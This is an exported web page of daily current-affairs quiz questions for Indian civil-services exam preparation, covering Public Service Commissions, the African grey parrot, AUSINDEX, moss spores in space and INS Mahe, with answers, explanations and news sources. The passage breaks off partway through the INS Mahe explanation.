{"id":2777,"date":"2025-11-26T03:58:25","date_gmt":"2025-11-26T03:58:25","guid":{"rendered":"https:\/\/iasquest.com\/?p=2777"},"modified":"2026-02-11T18:46:51","modified_gmt":"2026-02-11T18:46:51","slug":"daily-current-affairs-25-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-25-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 25.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements regarding Public Service Commissions in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The first Public Service Commission in India was established under the Government of India Act, 1935<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. The Montagu\u2013Chelmsford Report recommended the creation of an independent Public Service Commission.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. The Constitution specifies minimum age and qualifications for appointment as PSC members.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (a) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> How can State PSCs be reformed?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Public Service Commissions (PSCs) in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li><strong>The first Public Service Commission in India was established in 1926 under the provisions of the Government of India Act, 1919<\/strong>, following the Montagu\u2013Chelmsford Reforms. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The Montagu\u2013Chelmsford Report (1918) recommended the creation of a permanent, independent Public Service Commission to ensure merit-based recruitment free from political influence. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The Government of India Act, 1935 provided for the establishment of Provincial (State) Public Service Commissions.<\/li>\n\n\n\n<li>Articles 315 to 323 of the Constitution provide for the establishment, composition, tenure, removal, and powers of the UPSC and State PSCs.<\/li>\n\n\n\n<li>The Constitution does not prescribe minimum age, qualifications, or prior experience for appointment as members of the UPSC or State PSCs. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>The 41st Constitutional Amendment Act, 1976 increased the upper age limit of State PSC members from 60 to 62 years.<\/li>\n\n\n\n<li>The UPSC functions in a comparatively politically sterile environment, while State PSCs operate in a politically osmotic environment with visible influence on appointments.<\/li>\n\n\n\n<li>The Ministry of Personnel, Public Grievances and Pensions, created in 1985, ensures systematic manpower planning and timely vacancy notifications for UPSC examinations.<\/li>\n\n\n\n<li>Most States lack a dedicated personnel ministry, leading to irregular vacancy notifications and delayed recruitment cycles.<\/li>\n\n\n\n<li>UPSC periodically revises its syllabus through expert committees, whereas most State PSCs rarely update their syllabi.<\/li>\n\n\n\n<li>UPSC uses inter-se moderation to reduce subjectivity in evaluation; State PSCs often struggle with this process.<\/li>\n\n\n\n<li>State PSCs face increased litigation due to issues in vertical, horizontal, and zonal reservation calculations and translation errors between English and regional languages.<\/li>\n\n\n\n<li>Reforms suggested include setting a minimum age of 55 and maximum age of 65 for PSC members along with clearly defined qualifications.<\/li>\n\n\n\n<li>It is recommended that syllabus revision proposals be placed in the public domain and finalised after public consultation.<\/li>\n\n\n\n<li>A senior officer with experience in school or intermediate education administration should serve as the Secretary of State PSCs to improve exam management.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><br><strong>Q. The distribution of powers between the Centre and the States in the Indian Constitution is based on the scheme provided in the<\/strong> <br><br>(a) Morley-Minto Reforms, 1909 <br>(b) Montagu-Chelmsford Act, 1919 <br><strong>(c) Government of India Act, 1935<\/strong> <br>(d) Indian Independence Act, 1947<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-15 wp-block-paragraph\" style=\"color:#0217f9\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/how-can-state-pscs-be-reformed-explained\/article70314087.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/how-can-state-pscs-be-reformed-explained\/article70314087.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>2. Consider the following statements regarding the Open Planetary Intelligence Network (OPIN):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">1. It is a global, open-access platform aimed at sharing data and knowledge on planetary health and climate resilience.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">2. OPIN seeks to integrate AI-driven insights with human decision-making to support environmental governance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">3. Membership in OPIN is restricted to UN member states only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(b) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Answer: (b) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>In NEWS: COP30: differences persist over fossil fuel phase-out roadmap<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Open Planetary Intelligence Network (OPIN)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>OPIN is an international initiative aimed at sharing knowledge, data, and best practices on planetary health, climate resilience, and environmental governance.<\/li>\n\n\n\n<li>OPIN functions as a global, open-access platform enabling collaboration among governments, scientists, civil society, and AI systems for tackling planetary challenges. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The network promotes evidence-based policy-making on issues such as biodiversity loss, climate change, sustainable development, and disaster management.<\/li>\n\n\n\n<li>OPIN seeks to integrate AI-driven insights with human governance to support better environmental planning and crisis response. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>OPIN is open and collaborative, not limited only to UN member states; it encourages participation from research institutions, NGOs, and other stakeholders. <strong>Hence statement 3 is incorrect<\/strong><\/li>\n\n\n\n<li>The platform supports real-time data exchange, including information on weather events, planetary boundaries, pollution, and ecosystem health.<\/li>\n\n\n\n<li>OPIN emphasizes transparency, open science, and global cooperation, aligning with UN principles on sustainable development and planetary stewardship.<\/li>\n\n\n\n<li>One of the core goals is to build a shared planetary dashboard tracking global environmental indicators.<\/li>\n\n\n\n<li>OPIN aims to increase the capacity of developing nations by providing open tools and data for climate adaptation and mitigation.<\/li>\n\n\n\n<li>The initiative also focuses on community participation, ensuring indigenous and local knowledge is integrated into global environmental decision-making.<\/li>\n\n\n\n<li>OPIN is part of a global movement toward &#8220;planetary intelligence&#8221;, which combines AI, scientific data, and decentralized governance to manage planetary-scale risks.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Consider the following:<\/strong> <br><br>1. Aarogya Setu <br>2. CoWIN <br>3. DigiLocker <br>4. DIKSHA <br><br><strong>Which of the above are built on top of open-source digital platforms?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2, 3 and 4 only <br>(c) 1, 3 and 4 only <br><strong>(d) 1, 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-30 wp-block-paragraph\" style=\"color:#0217f9\"><strong>Source:<\/strong><a href=\"https:\/\/www.google.com\/amp\/s\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/how-india-showcases-climate-leadership-at-cop30-10376662\/lite\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.google.com\/amp\/s\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/how-india-showcases-climate-leadership-at-cop30-10376662\/lite\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>3. With reference to the African Grey Parrot, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">1. It is native to the tropical forests of West and Central Africa.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">2. It is listed as Critically Endangered on the IUCN Red List.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">3. Habitat loss is the only major threat to its survival in the wild.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Answer: (a) Only one<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>In NEWS: <\/strong>State Forest Departments across India have no record of African grey parrot trade, reveal RTI responses<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>African Grey Parrot<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li>The African Grey Parrot (Psittacus erithacus) is native to the tropical rainforests of West and Central Africa. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It is globally known for its high cognitive ability and advanced mimicry skills.<\/li>\n\n\n\n<li>The species is listed as Endangered on the IUCN Red List due to habitat loss and extensive trapping for the pet trade. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>It is included under CITES Appendix I, which prohibits international commercial trade of wild-caught specimens.<\/li>\n\n\n\n<li>The major threats to the species are illegal wildlife trade, habitat destruction, and deforestation in Central African countries. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Key range countries include the Democratic Republic of Congo, Cameroon, Ghana, and C\u00f4te d\u2019Ivoire.<\/li>\n\n\n\n<li>The African grey parrot plays an important ecological role as a seed disperser in tropical forests.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"782\" height=\"521\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-19.png\" alt=\"\" class=\"wp-image-2778\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-19.png 782w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-19-300x200.png 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-19-768x512.png 768w\" sizes=\"auto, (max-width: 782px) 100vw, 782px\" \/><\/figure>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li><strong>Two main subspecies are recognized:<\/strong><ul><li>Congo African Grey (Psittacus erithacus erithacus)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Timneh African Grey (Psittacus timneh)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Timneh Grey Parrot is smaller and darker, and is found primarily in West Africa (e.g., Sierra Leone, Liberia).<\/li>\n\n\n\n<li>Population decline has been particularly severe in Ghana, where numbers have reduced by over 90% in some areas.<\/li>\n\n\n\n<li>Many African countries have imposed export bans, but illegal trade routes still operate through Central and West Africa.<\/li>\n\n\n\n<li>Conservation efforts include community-based forest protection, captive-breeding regulation, and strengthening CITES enforcement.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Regarding Peacock tarantula (Gooty tarantula), consider the following statements:\u00a0<\/strong> <br><br>I. It is an omnivorous crustacean.\u00a0 <br>II. Its natural habitat in India is only limited to some forest areas.\u00a0 <br>III. In its natural habitat, it is an arboreal species.\u00a0 <br><br><strong>Which of the statements given above is\/are correct?\u00a0\u00a0<\/strong> <br><br>(a) I only\u00a0\u00a0 <br>(b) I and III\u00a0\u00a0 <br>(c) II only\u00a0 <br><strong>(d) II and III<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-46 wp-block-paragraph\" style=\"color:#0632f6\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/forest-departments-across-india-have-no-record-of-african-grey-parrot-trade-reveal-rti-responses\/article70306499.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/forest-departments-across-india-have-no-record-of-african-grey-parrot-trade-reveal-rti-responses\/article70306499.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>4. With reference to AUSINDEX, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">1. AUSINDEX is the only bilateral naval exercise between India and Australia that includes dedicated anti-submarine warfare (ASW) drills.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">2. AUSINDEX is mandated under the India\u2013Australia Mutual Logistics Support Agreement (MLSA).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>In NEWS:<\/strong> INS Sahyadri and HMAS Ballarat take part in AUSINDEX 2025 exercise in Northern Pacific<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>AUSINDEX:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>AUSINDEX is a bilateral maritime exercise between the Indian Navy and the Royal Australian Navy.<\/li>\n\n\n\n<li>It is the only bilateral naval exercise between India and Australia that includes dedicated anti-submarine warfare (ASW) drills. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The exercise was first conducted in 2015.<\/li>\n\n\n\n<li>The objective is to enhance maritime cooperation, interoperability, and security in the Indo-Pacific region.<\/li>\n\n\n\n<li>It focuses primarily on anti-submarine warfare (ASW), maritime surveillance, and complex naval manoeuvres.<\/li>\n\n\n\n<li>AUSINDEX forms part of the broader India\u2013Australia defence cooperation framework. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>The exercise complements multilateral naval engagements like MALABAR and RIMPAC, where both countries often participate.<\/li>\n\n\n\n<li>Activities include naval drills, surface and air operations, helicopter operations, and coordinated patrols.<\/li>\n\n\n\n<li>It supports the shared vision of a free, open, and rules-based Indo-Pacific.<\/li>\n\n\n\n<li>AUSINDEX is usually held every two years, though schedules may vary.<\/li>\n\n\n\n<li>Modern platforms such as P-8I (India) and P-8A (Australia) maritime patrol aircraft often participate.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-60 wp-block-paragraph\" style=\"color:#0636c6\"><strong>Source:<\/strong><a href=\"https:\/\/m.economictimes.com\/news\/defence\/ins-sahyadri-and-hmas-ballarat-take-part-in-ausindex-2025-exercise-in-northern-pacific\/articleshow\/125518922.cms\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/m.economictimes.com\/news\/defence\/ins-sahyadri-and-hmas-ballarat-take-part-in-ausindex-2025-exercise-in-northern-pacific\/articleshow\/125518922.cms<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>5. Consider the following statements regarding mosses (Bryophytes):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">1. Some mosses can survive complete desiccation and revive upon rehydration.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">2. Some mosses can tolerate high levels of radiation, including those found in outer space.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">3. Some mosses can act as bioindicators of air pollution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">4. Some mosses can perform nitrogen fixation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Answer: (c) Only three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>In NEWS: <\/strong>Moss spores survive months in space: Why is this significant?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Characteristics of Moss Spores:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Desiccation Tolerance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-76\">\n<li>Certain mosses such as Tortula ruralis and Syntrichia caninervis can survive up to 95% water loss.<\/li>\n\n\n\n<li>These mosses revive completely when water becomes available again.<\/li>\n\n\n\n<li>Desiccation tolerance in mosses is enabled by protective proteins, sugar molecules like trehalose, and flexible cell walls.<\/li>\n\n\n\n<li>This trait evolved because mosses are among the earliest land plants, exposed to harsh terrestrial conditions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Radiation and Space Survival<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-78\">\n<li>Moss spores of Physcomitrium patens survived 283 days outside the International Space Station (ISS).<\/li>\n\n\n\n<li>Over 80% of the exposed moss spores remained viable and successfully germinated after returning to Earth.<\/li>\n\n\n\n<li>Moss spores tolerate cosmic radiation, UV exposure, extreme temperatures, and vacuum.<\/li>\n\n\n\n<li>Multi-layered spore walls act as natural \u201cpassive shields\u2019\u2019 against radiation damage.<\/li>\n\n\n\n<li>Space-modelling studies estimate that moss spores could survive in outer space for up to 15 years.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Bioindicator Role<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-80\">\n<li>Mosses absorb nutrients and contaminants directly from the atmosphere, not through roots.<\/li>\n\n\n\n<li>This enables them to accumulate heavy metals, SO\u2082, NOx, and organic pollutants from the air.<\/li>\n\n\n\n<li>Mosses are widely used in moss monitoring programs for air-quality assessment in Europe and Asia.<\/li>\n\n\n\n<li>Species such as Hypnum cupressiforme and Pleurozium schreberi are standard bioindicator mosses.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Nitrogen Fixation Myth<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li>Mosses do not perform nitrogen fixation themselves. <strong>Hence 4 is incorrect.<\/strong><\/li>\n\n\n\n<li>Nitrogen fixation occurs via cyanobacteria living on the surface of mosses, especially on Sphagnum moss.<\/li>\n\n\n\n<li>Ecosystems benefit from nitrogen fixed by cyanobacteria, but the moss is not the nitrogen-fixing organism.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Significance of Moss<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li>Mosses demonstrate ancient plant survival strategies, helping scientists understand early plant evolution on land.<\/li>\n\n\n\n<li>Their desiccation tolerance serves as a model for improving drought resistance in modern crops.<\/li>\n\n\n\n<li>Their ability to survive cosmic radiation and vacuum provides insights into the possibility of life enduring harsh extraterrestrial environments.<\/li>\n\n\n\n<li>Moss spores surviving on the ISS show potential for bio-regenerative life-support systems in future lunar and Martian habitats.<\/li>\n\n\n\n<li>Mosses contribute to carbon sequestration, especially in peatlands dominated by Sphagnum species.<\/li>\n\n\n\n<li>Moss-dominated peatlands store nearly 30% of global soil carbon, making them crucial in climate regulation.<\/li>\n\n\n\n<li>Mosses act as low-cost bioindicators for monitoring air quality and heavy-metal pollution.<\/li>\n\n\n\n<li>Their sensitivity to atmospheric contaminants helps governments design pollution-control policies.<\/li>\n\n\n\n<li>In ecosystems, mosses help in soil formation, moisture retention, and preventing erosion.<\/li>\n\n\n\n<li>Moss\u2013cyanobacteria associations enhance nitrogen input into nutrient-poor ecosystems, supporting biodiversity.<\/li>\n\n\n\n<li>Understanding moss stress tolerance aids biotechnology research in stress-resistant biomaterials.<\/li>\n\n\n\n<li>Their space survival provides evidence relevant to astrobiology, particularly studies on panspermia (life dispersal).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Some mushrooms have medicinal properties. <br>2. Some mushrooms have psycho-active properties.<br>3. Some mushrooms have insecticidal properties. <br>4. Some mushrooms have bioluminescent properties. <br><br><strong>How many of the above statements are correct?<\/strong> <br><br>(a) Only one <br>(b) Only two <br>(c) Only three <br><strong>(d) All four<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-85 wp-block-paragraph\" style=\"color:#0731f0\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/moss-spores-space-10381796\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/moss-spores-space-10381796\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>6. Which one of the following is the best description of \u2018INS Mahe\u2019, that was in the news recently?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(a) Amphibious warfare ship<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(b) Anti-Submarine shallow water warfare vessel<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(c) Torpedo launch and recovery vessel<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(d) Nuclear-powered aircraft carrier<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Answer: (b) Anti-Submarine shallow water warfare vessel<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>In NEWS: <\/strong>The Indian Navy commissioned INS Mahe<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>INS Mahe:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li>First indigenously designed and built Mahe-class Anti-Submarine Warfare Shallow Water Craft (ASW-SWC). <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Lead ship of eight vessels in her class.<\/li>\n\n\n\n<li>Over 80% indigenous content, reinforcing Atma Nirbhar Bharat and India\u2019s naval self-reliance.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Design &amp; Features:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li>Named after the historic coastal town of Mahe.<\/li>\n\n\n\n<li>Crest: Urumi (flexible sword) rising from stylised waves \u2013 symbolizing agility, precision, and lethal grace.<\/li>\n\n\n\n<li>Mascot: Cheetah, representing speed and focus.<\/li>\n\n\n\n<li>Motto: \u201cSilent Hunters\u201d \u2013 reflecting stealth, vigilance, and readiness.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Combat Capability:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-99\">\n<li>Advanced weapons, sensors, and communication systems for anti-submarine operations in coastal and shallow waters.<\/li>\n\n\n\n<li>Can detect, track, and neutralise sub-surface threats.<\/li>\n\n\n\n<li>Designed for prolonged shallow water operations.<\/li>\n\n\n\n<li>Integration of systems from BEL, L&amp;T Defence, Mahindra Defence, NPOL, and 20+ MSMEs.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Strategic Importance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-101\">\n<li>Strengthens coastal defence and the Indian Navy\u2019s ASW capabilities.<\/li>\n\n\n\n<li>Integrates with larger surface combatants, submarines, and aviation assets.<\/li>\n\n\n\n<li>Enhances near-sea dominance, maritime security, and multi-domain operational 